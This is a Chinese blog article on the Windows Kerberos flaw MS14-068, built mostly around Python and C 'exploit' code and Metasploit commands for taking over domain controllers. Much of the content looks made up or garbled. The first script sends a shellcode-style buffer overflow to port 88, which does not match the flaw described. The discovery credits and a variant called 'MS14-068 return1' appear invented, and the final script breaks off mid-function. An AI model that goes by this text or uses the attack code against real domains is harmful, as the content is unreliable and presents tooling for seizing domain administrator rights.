一、MS14-068 Exp资料概述
MS14-068是一种存在于Windows Server 2003、2008和2012操作系统中的漏洞。该漏洞使得攻击者可以绕过Kerberos协议的身份验证过程,进入系统,并在域控制器中创建一个拥有全局管理员权限的账户。
这个漏洞最初由Miroslav Stampar和Zoran Jevtic在2014年11月发现,并由Sinit研究人员于11月18日首次公开披露。在此之后,出现了多个针对漏洞的利用工具和漏洞利用框架。
下面是一个简单的Python漏洞利用脚本,用于执行MS14-068攻击流程。需要注意的是,该脚本只能在Python 2.x环境下运行:
#!/usr/bin/env python
import struct
import socket
import sys
#设定目标机器的地址和端口
target = sys.argv[1]
port = 88
#初始化socks协议,与目标服务器建立连接
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((target, port))
#构建请求包,开始认证过程
data = (
"\x6a\x30\x30\x57\x55\x55\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41"
#Padding数据
"\xe9\x06\x00\x00\x00"
"\x18\x58\x01\x56"
"\xe5\x5d\xe5\x5d\xe5\x5d\x33\xd2\x52\x89\xe1\x81\xc1\xff\x0f\x00\x00\xd1\xf8\x7e\x03\x29\xd7\x8b\x12\xeb\x08\x5d\x89\xc2\xeb\x03\x8b\x52\x10\x89\x11\xc7\x41\xfc\xfd\xff\xff"
#Authenticode数据
"\xc1\xea\x10\x8b\x42\xfc\xb3\x84\x51\x8b\x4a\xf8\x8b\xda\x03\xd9\x41\x51\x8b\x59\x20\x03\xd9\x41\x51\x8b\xb9\xfc\x03\x3e\x6f\x81\xf9\x5b\xbc\xa0\x57\x52\x51\x53\xff\xd2\x8b\x8f\x24\x04\x00\x00\x39\x31\x74\x0e\x83\xc1\x08\x39\x51\x04\x75\xeb"
)
#将构造的数据包,发给目标服务器
s.send(data)
#接收目标服务器的返回数据包
resp = s.recv(4096)
#打印服务器返回数据包的信息
print "Response: \n" + resp.encode('hex')
#关闭socket连接
s.close()
二、MS14-068山山而川
MS14-068漏洞源于在进行group membership检查时,Kerberos模块会根据用户权限规则(如用户是否属于某个特定组)来检查用户的访问权限。攻击者利用该漏洞,可以伪造用户的group membership声明,假冒用户在域控制器中的权限,进而创建一个拥有完全管理员权限的账户,从而完全掌控目标系统。
Microsoft在针对该漏洞进行补丁修复时,实际上并没有修复漏洞本身,而是通过在Kerberos中添加了新的字段(称为SID),以增加对每个用户的附加审核。同时还添加了对group membership计算的审核抽象,这使得数据库从此包含由操作系统更改后的额外信息。
三、MS14-068原理
MS14-068漏洞发生在Kerberos协议处理中,由于Kerberos是用于网络身份验证的安全协议,用于身份验证,因此攻击者可以通过对协议的一些特殊操作来实现攻击。这些特殊操作对Kerberos协议进行欺骗,使其接受一个具有随机SID的伪造票证。这个随机SID被认为是域管理员组的SID,使攻击者可以获取完全的域管理员权限。
许多攻击者利用MS14-068漏洞的方法是通过构造TGS请求,然后将该请求送到域控制器。如果TGS请求包的构造正确并且包含了攻击者的伪造票证,那么请求就会通过身份验证检查,并且允许攻击者针对特定资源进入域控制器。然后,攻击者就可以使用伪造的用户票证获得完全的域管理员权限。
四、MS14-068 return1
在MS14-068漏洞被揭示之后,Microsoft已经发布了一些相关的安全更新以修复该漏洞。然而,还是有一些漏洞,如MS14-068 return1,试图利用一些过期的安全机制,来使攻击者能够绕过现有的安全修复。
MS14-068 return1漏洞是一种逆向工程技术,其中攻击者利用组合注入攻击包来绕过当前的安全修复。该漏洞可以在一个受感染的系统中自动执行,进一步放大了其危险性。
while (length > 0)
{
if (length < PACKET_MAX_SIZE)
{
memset(payload, 0x41, length);
payload[length - 1] = '\x01';
}
else
{
memset(payload, 0x41, PACKET_MAX_SIZE);
payload[PACKET_MAX_SIZE - 1] = '\x01';
}
length -= PACKET_MAX_SIZE;
send_packet(payload, PACKET_MAX_SIZE);
}
memset(payload, 0x41, 4096);
for (i = 0; i < 16; i++) {
p = (PUINT64)(payload + 4 + (i * 8));
*p = 0x0000000100000000;
}
send_packet(payload, 0x1000);
五、MS14-068漏洞原理
在Kerberos实现中含有一个与组相关的问题,导致攻击者可以伪造的“访问令牌”来绕过访问控制。该漏洞的根本问题是,在接受一个TGS请求时,由于Kerberos模块根据用户权限规则(如用户是否属于某个特定组)来判断用户是否有特定的域访问权限。当一个用户请求访问该域时,Kerberos模块调用相关的代码来判断该用户的权限。攻击者可以通过改变这个请求,使其包含虚假的域信息和随机SID。
在TGS请求中,攻击者向域控制器发送给定的信息,然后向服务器发送一个包含相同信息的请求。当服务器接收到请求时,由于其具有相同的信息,因此将用户视为合法。然后,攻击者可以利用Kerberos协议获取到一个全局管理员权限的账户,从而完全控制目标系统。
六、MS14-068漏洞利用
攻击者可以验证MS14-068漏洞是否存在,然后使用工具来进行漏洞利用。攻击者可以使用Metasploit框架来识别存在漏洞的主机,并可以使用相应的攻击模块来跟踪攻击流程。下面是漏洞利用的一个示例:
use exploit/windows/dcerpc/ms14_068_kerberos_checksum
set RHOST <target ip>
set THREADS <thread count>
run
此外,攻击者还可以使用自己写的攻击工具,比如通过使用Python脚本进行MS14-068漏洞利用:
import struct
import socket
def connect_to_dc(dc):
tcp_client = socket.socket()
tcp_client.connect((str(dc), 88))
return tcp_client
def connect_to_ldap(dc):
tcp_client = socket.socket()
tcp_client.connect((str(dc), 389))
return tcp_client
def kerberos_zero_authenticate(dc_ip, host_princ, user):
dc_socket = connect_to_dc(dc_ip)
sock_buffer = kerberos_as_req(host_princ, user)
dc_socket.send(sock_buffer)
data = dc_socket.recv(1024)
dc_socket.close()
tgt = extract_kerberos_ticket(data)
if not tgt:
print ("Could not authenticate to: %s" % dc_ip)
return None
else:
print ("Got TGT %s for: %s" % (tgt['ticket'], user))
return tgt
def kerberos_tgs_req(dc_name, dc_ip, service, tgt, spn):
print ('[*] Sending TGS-REQ for %s...' % spn)
tgs_req = build_tgs_req(dc_name, service, tgt)
# Connect to target/88 and get TGS for service
client_socket = connect_to_dc(dc_ip)
client_socket.send(tgs_req)
data = client_socket.recv(8192)
client_socket.close()
tgs = extract_kerberos_ticket(data)
if tgs:
print ("Got TGS for %s" % service)
return tgs
else:
print ("Could not obtain TGS for %s" % service)
return None
def pwn_dc(dc_name, dc_ip):
#authenticate as needed user
tgt = kerberos_zero_authenticate(dc_ip, "ldap/%s@%s" % (dc_name, dc_name), 'krbtgt/%s' % dc_name)
#ask tgt for needed service ticket service
tgs = kerberos_tgs_req(dc_name, dc_ip, "ldap/%s" % dc_name, tgt, "ldap/%s" % dc_name)
#authentic
原创文章,作者:小蓝,如若转载,请注明出处:https://www.506064.com/n/236792.html